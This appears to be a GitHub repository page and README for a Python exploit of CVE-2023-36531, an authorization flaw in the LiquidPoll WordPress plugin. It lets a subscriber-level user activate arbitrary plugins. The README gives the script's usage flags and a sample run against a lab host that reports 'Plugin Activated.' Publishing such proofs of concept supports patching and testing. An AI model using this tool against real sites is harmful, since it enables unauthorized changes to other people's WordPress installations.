https://github.com/randomrobbiebf/cve-2023-36531
LiquidPoll – Advanced Polls for Creators and Brands <= 3.3.68 - Missing Authorization via activate_addon
https://github.com/randomrobbiebf/cve-2023-36531
Last synced: 3 months ago
JSON representation
LiquidPoll – Advanced Polls for Creators and Brands <= 3.3.68 - Missing Authorization via activate_addon
- Host: GitHub
- URL: https://github.com/randomrobbiebf/cve-2023-36531
- Owner: RandomRobbieBF
- License: apache-2.0
- Created: 2023-07-06T08:55:42.000Z (about 3 years ago)
- Default Branch: main
- Last Pushed: 2023-07-06T08:58:43.000Z (about 3 years ago)
- Last Synced: 2025-01-21T05:41:44.247Z (over 1 year ago)
- Language: Python
- Size: 6.84 KB
- Stars: 0
- Watchers: 2
- Forks: 2
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
- License: LICENSE
Awesome Lists containing this project
README
# CVE-2023-36531
LiquidPoll – Advanced Polls for Creators and Brands <= 3.3.68 - Missing Authorization via activate_addon
Info
----
Needs a subscriber level user and the plugin needs to be disabled.
This will activate the plugin you provide.
Usage
---
```
usage: CVE-2023-36531.py [-h] -w URL -u USERNAME -p PASSWORD -a ADDON
WordPress CVE-2023-36531 Exploit
options:
-h, --help show this help message and exit
-w URL, --url URL URL of the WordPress site
-u USERNAME, --username USERNAME
Username of your wordpress user
-p PASSWORD, --password PASSWORD
Password of your wordpress password
-a ADDON, --addon ADDON
Plugin Slug
```
Example
---
```
python3 CVE-2023-36531.py -w http://wordpress.lan -u user -p useruser1 -a wp-polls
Logged in successfully.
POST request sent successfully.
Plugin Activated.
```